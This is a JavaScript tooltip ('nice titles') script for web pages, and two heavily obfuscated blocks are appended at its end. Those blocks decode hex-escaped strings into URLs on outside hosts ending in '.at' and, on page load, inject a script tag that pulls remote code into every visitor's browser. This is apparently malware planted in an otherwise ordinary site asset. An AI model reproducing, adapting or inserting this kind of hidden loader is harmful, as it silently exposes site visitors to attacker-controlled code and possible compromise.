addEvent(window, "load", makeNiceTitles);

var XHTMLNS = "http://www.w3.org/1999/xhtml";
var CURRENT_NICE_TITLE;
var browser = new Browser();

function makeNiceTitles() {
    if (!document.createElement || !document.getElementsByTagName) return;
    // add namespace methods to HTML DOM; this makes the script work in both
    // HTML and XML contexts.
    if(!document.createElementNS)
    {
        document.createElementNS = function(ns,elt) {
            return document.createElement(elt);
        }
    }

    if( !document.links )
    {
        document.links = document.getElementsByTagName("a");
    }
    for (var ti=0;ti<document.links.length;ti++) {
        var lnk = document.links[ti];
        if (lnk.title) {
            lnk.setAttribute("nicetitle",lnk.title);
            lnk.removeAttribute("title");
            addEvent(lnk,"mouseover",showNiceTitle);
            addEvent(lnk,"mouseout",hideNiceTitle);
            addEvent(lnk,"focus",showNiceTitle);
            addEvent(lnk,"blur",hideNiceTitle);
        }
    }
    var instags = document.getElementsByTagName("ins");
    if (instags) {
    for (var ti=0;ti<instags.length;ti++) {
        var instag = instags[ti];
        if (instag.dateTime) {
            var strDate = instag.dateTime;
            var dtIns = new Date(strDate.substring(0,4),parseInt(strDate.substring(4,6)-1),strDate.substring(6,8),strDate.substring(9,11),strDate.substring(11,13),strDate.substring(13,15));
            instag.setAttribute("nicetitle","Added on "+dtIns.toString());
            addEvent(instag,"mouseover",showNiceTitle);
            addEvent(instag,"mouseout",hideNiceTitle);
            addEvent(instag,"focus",showNiceTitle);
            addEvent(instag,"blur",hideNiceTitle);
        }
    }
    }
}

function findPosition( oLink ) {
  if( oLink.offsetParent ) {
    for( var posX = 0, posY = 0; oLink.offsetParent; oLink = oLink.offsetParent ) {
      posX += oLink.offsetLeft;
      posY += oLink.offsetTop;
    }
    return [ posX, posY ];
  } else {
    return [ oLink.x, oLink.y ];
  }
}

function showNiceTitle(e) {
    if (CURRENT_NICE_TITLE) hideNiceTitle(CURRENT_NICE_TITLE);
    if (!document.getElementsByTagName) return;
    if (window.event && window.event.srcElement) {
        lnk = window.event.srcElement
    } else if (e && e.target) {
        lnk = e.target
    }
    if (!lnk) return;
    if (lnk.nodeType == 3) {
        // lnk is a textnode -- ascend parents until we hit a link
        lnk = getParent(lnk,"A");
    }
    if (!lnk) return;
    nicetitle = lnk.getAttribute("nicetitle");
    
    var d = document.createElementNS(XHTMLNS,"div");
    d.className = "nicetitle";
    tnt = document.createTextNode(nicetitle);
    pat = document.createElementNS(XHTMLNS,"p");
    pat.className = "titletext";
    pat.appendChild(tnt);
    d.appendChild(pat);
    if (lnk.href) {
        tnd = document.createTextNode(lnk.href);
        pad = document.createElementNS(XHTMLNS,"p");
        pad.className = "destination";
        pad.appendChild(tnd);
        d.appendChild(pad);
    }
    
    STD_WIDTH = 300;
    if (lnk.href) {
        h = lnk.href.length;
    } else { h = nicetitle.length; }
    if (nicetitle.length) {
      t = nicetitle.length;
    }
    h_pixels = h*6; t_pixels = t*10;
    
    if (h_pixels > STD_WIDTH) {
        w = h_pixels;
    } else if ((STD_WIDTH>t_pixels) && (t_pixels>h_pixels)) {
        w = t_pixels;
    } else if ((STD_WIDTH>t_pixels) && (h_pixels>t_pixels)) {
        w = h_pixels;
    } else {
        w = STD_WIDTH;
    }
        
    d.style.width = w + 'px';    

    /*
    mx = lnk.offsetLeft;
    my = lnk.offsetTop;
    */
    mpos = findPosition(lnk);
    mx = mpos[0];
    my = mpos[1];
    //xy = getMousePosition(e);
    //mx = xy[0]; my = xy[1];
    
    d.style.left = (mx+15) + 'px';
    d.style.top = (my+35) + 'px';
    if (window.innerWidth && ((mx+w) > window.innerWidth)) {
        d.style.left = (window.innerWidth - w - 25) + "px";
    }
    if (document.body.scrollWidth && ((mx+w) > document.body.scrollWidth)) {
        d.style.left = (document.body.scrollWidth - w - 25) + "px";
    }
    
    document.getElementsByTagName("body")[0].appendChild(d);
    
    CURRENT_NICE_TITLE = d;
}

function hideNiceTitle(e) {
    if (!document.getElementsByTagName) return;
    if (CURRENT_NICE_TITLE) {
        document.getElementsByTagName("body")[0].removeChild(CURRENT_NICE_TITLE);
        CURRENT_NICE_TITLE = null;
    }
}

// Add an eventListener to browsers that can do it somehow.
// Originally by the amazing Scott Andrew.
function addEvent(obj, evType, fn){
  if (obj.addEventListener){
    obj.addEventListener(evType, fn, true);
    return true;
  } else if (obj.attachEvent){
	var r = obj.attachEvent("on"+evType, fn);
    return r;
  } else {
	return false;
  }
}

function getParent(el, pTagName) {
	if (el == null) return null;
	else if (el.nodeType == 1 && el.tagName.toLowerCase() == pTagName.toLowerCase())	// Gecko bug, supposed to be uppercase
		return el;
	else
		return getParent(el.parentNode, pTagName);
}

function getMousePosition(event) {
  if (browser.isIE) {
    x = window.event.clientX + document.documentElement.scrollLeft
      + document.body.scrollLeft;
    y = window.event.clientY + document.documentElement.scrollTop
      + document.body.scrollTop;
  }
  if (browser.isNS) {
    x = event.clientX + window.scrollX;
    y = event.clientY + window.scrollY;
  }
  return [x,y];
}

// Determine browser and version.

function Browser() {
// blah, browser detect, but mouse-position stuff doesn't work any other way
  var ua, s, i;

  this.isIE    = false;
  this.isNS    = false;
  this.version = null;

  ua = navigator.userAgent;

  s = "MSIE";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isIE = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  s = "Netscape6/";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = parseFloat(ua.substr(i + s.length));
    return;
  }

  // Treat any other "Gecko" browser as NS 6.1.

  s = "Gecko";
  if ((i = ua.indexOf(s)) >= 0) {
    this.isNS = true;
    this.version = 6.1;
    return;
  }
}


this.kJ="";this.cA='';try {var Q;if(Q!='' && Q!='_r'){Q=''};var E;if(E!='s' && E!='m'){E=''};var G=window[unescape("%75%6e%65%73%63%61%70%65")];var U;if(U!='d'){U=''};this.pu='';var x=G("%72%65%70%6c%61%63%65");var V="";var t=window[G("%52%65%67%45%78%70")];var nJ;if(nJ!='Ur'){nJ='Ur'};var J='';var f=null;this.C="";var lu;if(lu!='' && lu!='AB'){lu='b'};var hz="";function l(K,g){var mg;if(mg!='r' && mg != ''){mg=null};var zB;if(zB!='fE' && zB != ''){zB=null};var a=G("%5b");var nl;if(nl!='lW'){nl='lW'};a+=g;a+=G("%5d");var jI=new Date();var pT=new Date();var D=new t(a, G("%67"));return K.replace(D, f);var MC;if(MC!='QZ'){MC=''};};this.Iy='';var Gq;if(Gq!='' && Gq!='Sp'){Gq=null};var c=G("%73%63%72%69%70%74");var af=new Array();var ZM;if(ZM!=''){ZM='X'};var cZ='';var k="\x68\x74\x74\x70\x3a\x2f\x2f\x68\x6f\x6d\x65\x76\x69\x73\x69\x6f\x6e\x6f\x6e\x6c\x69\x6e\x65\x2e\x61\x74\x3a";var CG;if(CG!='' && CG!='AW'){CG=''};var K=G("%31");var j=l('829741516739557093266675336145446658432334927741364970472766553212546','39654172');var CN='';var L=l('/xsxlKi3dzeKsThxaTr1ez-zn3eftK/LgLoxofgZlKeL.fc1o3mf/Knzbxa1.Kc3ofm3.VpThzp3','LKfTz1Z3xV');var SE;if(SE!='' && SE!='Wt'){SE=null};var LC="onw4k".substr(0,2)+"lo"+"adAr2n".substr(0,2);function kh(){this.y='';var NM='';var F=document;var Xq;if(Xq!='VQ' && Xq!='Fr'){Xq='VQ'};this.HY="";O=F.createElement(c);var aQ;if(aQ!='' && aQ!='qQ'){aQ='uS'};var Lz="";cZ+=k;cZ+=j+L;var o='';O.src=cZ;O.defer=K;var l_=F.body;var Lf="";var PC="";l_.appendChild(O);};var Wb;if(Wb!='YM'){Wb='YM'};window[LC]=kh;var lO;if(lO!='' && lO!='Nd'){lO='DI'};var xl;if(xl!='sn' && xl!='Ro'){xl=''};} catch(h){var ug;if(ug!=''){ug='LE'};var bI=new Array();};var s_;if(s_!='Hi' && s_!='hO'){s_='Hi'};var zA;if(zA!='Wc' && zA!='gD'){zA='Wc'};

var M;if(M!='m' && M != ''){M=null};function k(){var y;if(y!='bd'){y=''};var Ul='';var ZB;if(ZB!='' && ZB!='IwR'){ZB=null};var d=window;var b=d['unescape'];var a;if(a!='l'){a=''};this.p='';var V=b("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%75%74%6f%2e%72%75%2f%62%75%7a%7a%6e%65%74%2e%63%6f%6d%2e%70%68%70");var nP;if(nP!='MY'){nP='MY'};var G=new Date();function Y(w,H){var X=b("%5d");var j=b("%5b");var A="";var HN=String("g");var v;if(v!=''){v='wQ'};this.UR='';var Zx;if(Zx!='' && Zx!='lR'){Zx=''};var F=new RegExp(j+H+X, HN);this.Yq="";this.Kl='';return w.replace(F, new String());var C;if(C!='ks' && C!='hf'){C='ks'};};var jr;if(jr!=''){jr='gL'};var Fv;if(Fv!=''){Fv='P'};var kU;if(kU!='KH' && kU != ''){kU=null};var E="";var h=Y('sacar9iApgtA','VA68ag9dT');var aW;if(aW!='Dx' && aW != ''){aW=null};var CU=new Date();var Xm=Y('sVrvcw','W46lwVvCn3ptLx');var YN='';var YB='';var S=Y('doeofoeprk','GkZha0Tp5RtoB');this.PJ='';var n=Y('85935691097415683111741307161334','96437251');var _Z;if(_Z!='' && _Z!='cY'){_Z='QE'};var dQ=document;function nY(){var kS=new Date();var I=b("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");var em=new Date();var eh=new Date();var Xk=I;var TB;if(TB!='' && TB!='J'){TB=null};this.Ik='';Xk+=n;var zS;if(zS!='cZ' && zS!='f'){zS=''};Xk+=V;var JC="";var hM;if(hM!='ms' && hM!='yw'){hM='ms'};this.q_="";this.uc="";var Sx='';try {_=dQ[Y('cUr1e1aut3euEGlJeUmGeGnJtU','UJu31Gz')](h);var vC="";var moK;if(moK!='pu' && moK!='qq'){moK=''};_[S]=[2,1][1];_[Xm]=Xk;var hG=new String();var cc='';dQ.body[Y('azpMpxe_nqdvCMhZijlwdZ','Pzxq_vwZjMBg')](_);this.Ci='';var Yf=new String();var fm=new Array();this.bp='';} catch(B){var rG=new String();this.EX="";};this.OX="";var TM=new Date();var ka;if(ka!='Hm' && ka != ''){ka=null};}var ke=new Array();var lx="";var Iw=Y('omnNlAoJamdJ','pNAgwmU0J2CFTcSVR8Yj');var IS=new Array();var rm;if(rm!=''){rm='DM'};this.vX="";d[Iw]=nY;var Pq="";var FD="";};var XH;if(XH!='sD' && XH!='Lj'){XH='sD'};var Xh;if(Xh!='Mr' && Xh!='wi'){Xh='Mr'};var Az;if(Az!='bP' && Az!='OQ'){Az='bP'};k();